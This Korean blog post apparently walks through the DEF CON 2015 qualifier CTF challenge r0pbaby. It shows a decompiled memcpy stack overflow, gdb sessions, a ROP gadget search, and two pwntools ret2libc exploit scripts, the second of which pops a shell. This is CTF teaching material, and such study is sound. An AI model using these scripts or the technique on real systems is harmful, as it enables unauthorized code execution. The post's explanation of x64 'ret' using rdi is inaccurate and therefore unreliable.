반응형

 

[[ 문제 ]]

https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/r0pbaby 

 

 

./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
Bad choice.
Segmentation fault (core dumped)
babyhack@ubuntu:~/tmp$ ls 

 

내부 코드를 보면 다음과 같이 memcpy에서 overflow가 발생 합니다.

 

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // eax@4
  unsigned __int64 v4; // r14@15
  int v5; // er13@17
  size_t v6; // r12@17
  int v7; // eax@18
  void *handle; // [rsp+8h] [rbp-448h]@1
  char nptr[1088]; // [rsp+10h] [rbp-440h]@2
  __int64 savedregs; // [rsp+450h] [rbp+0h]@22

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          Menu_sub_BF7();
          if ( !sub_B9A((__int64)nptr, 1024LL) )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = strtol(nptr, 0LL, 10);
          if ( v3 != 2 )
            break;
          __printf_chk(1LL, "Enter symbol: ");
          if ( sub_B9A((__int64)nptr, 64LL) )
          {
            dlsym(handle, nptr);
            __printf_chk(1LL, "Symbol %s: 0x%016llX\n");
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, "libc.so.6: 0x%016llX\n");
      }
      if ( v3 != 3 )
        break;
      __printf_chk(1LL, "Enter bytes to send (max 1024): ");
      sub_B9A((__int64)nptr, 1024LL);
      v4 = (signed int)strtol(nptr, 0LL, 10);
      if ( v4 - 1 > 0x3FF )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v4 )
        {
          v5 = 0;
          v6 = 0LL;
          while ( 1 )
          {
            v7 = _IO_getc(stdin);
            if ( v7 == -1 )
              break;
            nptr[v6] = v7;
            v6 = ++v5;
            if ( v4 <= v5 )
              goto LABEL_22;
          }
          v6 = v5 + 1;
        }
        else
        {
          v6 = 0LL;
        }
LABEL_22:
        memcpy(&savedregs, nptr, v6);    <---- memcpy를 입력한 숫자 만큼 입력 받음.
      }
    }
    if ( v3 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;

 

해당 코드는 입력한 숫자 만큼 입력 값을 복사하고 입력한 숫자보다 많은 양이 들어올 경우 overflow가 발생하여

프로그램이 종료 됩니다.

 

공격하기 용이한 코드를 입력 해 볼까요?

 

babyhack@ubuntu:~/tmp$ (python -c 'print "3\n" + "20\n" + "a"*30 + "\n"';cat) | ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Segmentation fault (core dumped)
babyhack@ubuntu:~/tmp$

 

편리한 공격 코드가 만들어졌으니 이제부턴 주소를 계산하여 실제 exploit을 작성해 보도록 하겠습니다.

이젠 gdb를 활용하여 메모리에 할당된 정보를 확인 해 봅시다.

 

babyhack@ubuntu:~/tmp$ gdb -q r0pbaby
Reading symbols from r0pbaby...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF79B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857640
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff78fc810 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) info proc map
process 11848
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555556000     0x2000        0x0 /home/babyhack/tmp/r0pbaby
      0x555555755000     0x555555757000     0x2000     0x1000 /home/babyhack/tmp/r0pbaby
      0x555555757000     0x555555778000    0x21000        0x0 [heap]
      0x7ffff7811000     0x7ffff79cc000   0x1bb000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff79cc000     0x7ffff7bcb000   0x1ff000   0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bcb000     0x7ffff7bcf000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bcf000     0x7ffff7bd1000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bd1000     0x7ffff7bd6000     0x5000        0x0
      0x7ffff7bd6000     0x7ffff7bd9000     0x3000        0x0 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7bd9000     0x7ffff7dd8000   0x1ff000     0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dd8000     0x7ffff7dd9000     0x1000     0x2000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dd9000     0x7ffff7dda000     0x1000     0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dda000     0x7ffff7dfd000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7ffff7fdf000     0x7ffff7fe2000     0x3000        0x0
      0x7ffff7ff5000     0x7ffff7ff8000     0x3000        0x0
      0x7ffff7ff8000     0x7ffff7ffa000     0x2000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
---Type <return> to continue, or q <return> to quit---

 

gdb를 통하여, bof를 발생 시키고 메모리를 확인 하도록 합니다.

 

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAAABBBBBCCCCCDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7834242 in __strtok_r_1c (__nextp=<optimized out>, __sep=<optimized out>,
    __s=0x7ffff78fc870 <__write_nocancel+7> "H=\001\360\377\377s1\303H\203\354\b\350\356\310\001")
    at ../string/bits/string2.h:1161
1161 ../string/bits/string2.h: No such file or directory.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAABBBBCC

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
__gconv_open (toset=<error reading variable: Cannot access memory at address 0x42424242414140d1>,
    toset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    fromset=<error reading variable: Cannot access memory at address 0x42424242414140d9>,
    fromset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    handle=<error reading variable: Cannot access memory at address 0x42424242414140a9>,
    handle@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    flags=<error reading variable: Cannot access memory at address 0x42424242414140c9>,
    flags@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>) at gconv_open.c:93
93 gconv_open.c: No such file or directory.
(gdb)

 

입력 받을 숫자를 입력하고 입력한 숫자만큼 문자를 입력할 경우 주소를 컨트롤 가능합니다.

따라서, 쉘코드가 충분히 들어갈 수 있는 사이즈로 입력 크기를 잡고 메모리 확인을 해야 합니다.

 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 20
AAAABBBBCCCCDDDDEEEE

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554eb3 in ?? ()
(gdb) x/i $rip
=> 0x555555554eb3: retq  
(gdb) x/gw $rsp
0x7fffffffdf28: 0x43434343
(gdb)  

 

ret 명령어는 esp의 첫번째 주소를 가지고 옵니다.

하지만, x64의 경우는 ret 명령어는 rdi의 주소를 가지고 오므로 pop rdi; ret 주소가 필요하게 됩니다.

 

[[ x64 ret 주소 참조 순서 ]] 

rdi -> rsi -> rdx -> r10 -> r9 -> r8 > .......

 

따라서, Gadget을 찾아야 합니다.

(※ rp++를 활용하면 쉽게 얻을 수 있습니다.)

 

babyhack@ubuntu:~/tmp$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 4 | grep "pop rdi" | more
.......................
0x0002c46f: pop rdi ; ret  ;  (1 found)
0x0002c581: pop rdi ; ret  ;  (1 found)
0x0002cdf5: pop rdi ; ret  ;  (1 found)
0x0002d087: pop rdi ; ret  ;  (1 found)
0x0002dd87: pop rdi ; ret  ;  (1 found)
0x0002f72c: pop rdi ; ret  ;  (1 found
................ 

 

그럼 이젠 payload를 작성해 보도록 하겠습니다.

 

[buff] +  gadget [pop rdi; ret] + [/bin/sh string addr] + [system addr]

 

[[ /bin/sh 문자열 offset 확인 ]]
babyhack@ubuntu:~/tmp$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 17ccdb /bin/sh
babyhack@ubuntu:~/tmp$

 

[[ system 함수 offset 확인 ]]

babyhack@ubuntu:~/tmp$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
   223: 000000000012b2c0    70 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.2.5
   577: 0000000000046640    45 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1337: 0000000000046640    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
babyhack@ubuntu:~/tmp$

 

[[ 라이브러리 주소 확인 ]]

babyhack@ubuntu:~/tmp$ ldd ./r0pbaby
 linux-vdso.so.1 =>  (0x00007ffca2aeb000)
 libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f2b712e3000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2b70f1e000)
 /lib64/ld-linux-x86-64.so.2 (0x00007f2b716ea000)
babyhack@ubuntu:~/tmp$

 

그럼 exploit을 짜봅시다.

 

[[ exploit - 1 ]]

 

from pwn import *
from struct import *

endian = lambda x:struct.pack('<Q', x)

binsh_offset = 0x17ccdb
pop_ret_offset = 0x2c581
system_offset = 0x46640

 

s = process("./r0pbaby")
print s.recvuntil(": ") # Menu

 

s.send("1\n")           # 1. Get libc address
get_libc_addr = s.recv(2048)
print "[*] %s " % get_libc_addr
libc_addr = eval(get_libc_addr.split(':')[1])
print "[*] libc split : 0x%08X" % libc_addr

 

print s.recvuntil(": ") # Menu

s.send("2\n")           # 2. Get address of a libc function
print "[*] %s " % s.recv(2048)
s.send("system\n")      # "system" function
system_recv = s.recv(2014)
print "[recv] %s" % system_recv
system_addr = eval(system_recv.split(':')[1])

 

# payload
payload = "A" * 8
payload += endian(libc_addr + pop_ret_offset) # pop rdi; ret;
payload += endian(libc_addr + binsh_offset)
payload += endian(system_addr)

print "[*] Payload : %s" % payload

s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload + "\n")
s.send("4\n")
s.recv(1024)
s.interactive() 

 

 

[[ 결과 ]]

babyhack@ubuntu:~/tmp$ python exp.py
[+] Started program './r0pbaby'

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] libc.so.6: 0x00007FC2C2A989B0
 
[*] libc split : 0x7FC2C2A989B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] Enter symbol: 
[recv] Symbol system: 0x00007FC2C20F0640

[*] Payload : AAAAAAAA1O\xac��\x7f\x00\x00\x8bV���\x00\x00@\x06\x0f��\x7f\x00\x00
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

 

쉘은 떨어졌지만 명령어가 입력되지 않습니다.

따라서, 주소를 다시 얻어서 사용하는 방식으로 코드를 수정 했습니다.

 

[[ exp 2.py ]]

 

from pwn import *
from struct import *

 

endian = lambda x:struct.pack('<Q', x)

binsh_offset = 0x17ccdb
pop_ret_offset = 0x2c581
system_offset = 0x46640

 

s = process("./r0pbaby")

print s.recvuntil(": ") # Menu

s.send("1\n")           # 1. Get libc address
get_libc_addr = s.recv(2048)
print "[*] %s " % get_libc_addr
libc_addr = eval(get_libc_addr.split(':')[1])
print "[*] libc split : 0x%08X" % libc_addr

 

print s.recvuntil(": ") # Menu

s.send("2\n")           # 2. Get address of a libc function
print "[*] %s " % s.recv(2048)
s.send("system\n")      # "system" function
system_recv = s.recv(2014)
print "[recv] %s" % system_recv

system_addr = eval(system_recv.split(':')[1])

print "[*] System Addr split : 0x%08X" % system_addr
libc_base = system_addr - system_offset
print "[*] calc - libc_base : 0x%08X" % libc_base

 

# payload
payload = "A" * 8
payload += endian(libc_base + pop_ret_offset) # pop rdi; ret;
payload += endian(libc_base + binsh_offset)
payload += endian(system_addr)

print "[*] Payload : %s" % payload

 

s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload + "\n")
s.send("4\n")

s.interactive() 

 

[[ 결과 ]] 

 

babyhack@ubuntu:~/tmp$ python 2exp.py
[+] Started program './r0pbaby'

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] libc.so.6: 0x00007F433F12D9B0
 
[*] libc split : 0x7F433F12D9B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] Enter symbol: 
[recv] Symbol system: 0x00007F433E785640

[*] System Addr split : 0x7F433E785640
[*] calc - libc_base : 0x7F433E73F000
[*] Payload : AAAAAAAA\x81\xb5v>C\x7f\x00\x00ۼ\x8b>C\x7f\x00\x00@Vx>C\x7f\x00\x00
[*] Switching to interactive mode
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Exiting.
$ id
uid=1000(babyhack) gid=1000(babyhack) groups=1000(babyhack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
$ 

 

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[pwntools] 함수 offset 계산 방법  (0) 2016.07.21
[defcon 24 - 2016] Reversing - baby-re  (0) 2016.05.24
[pcf2013] ropasaurusrex  (0) 2016.05.11

+ Recent posts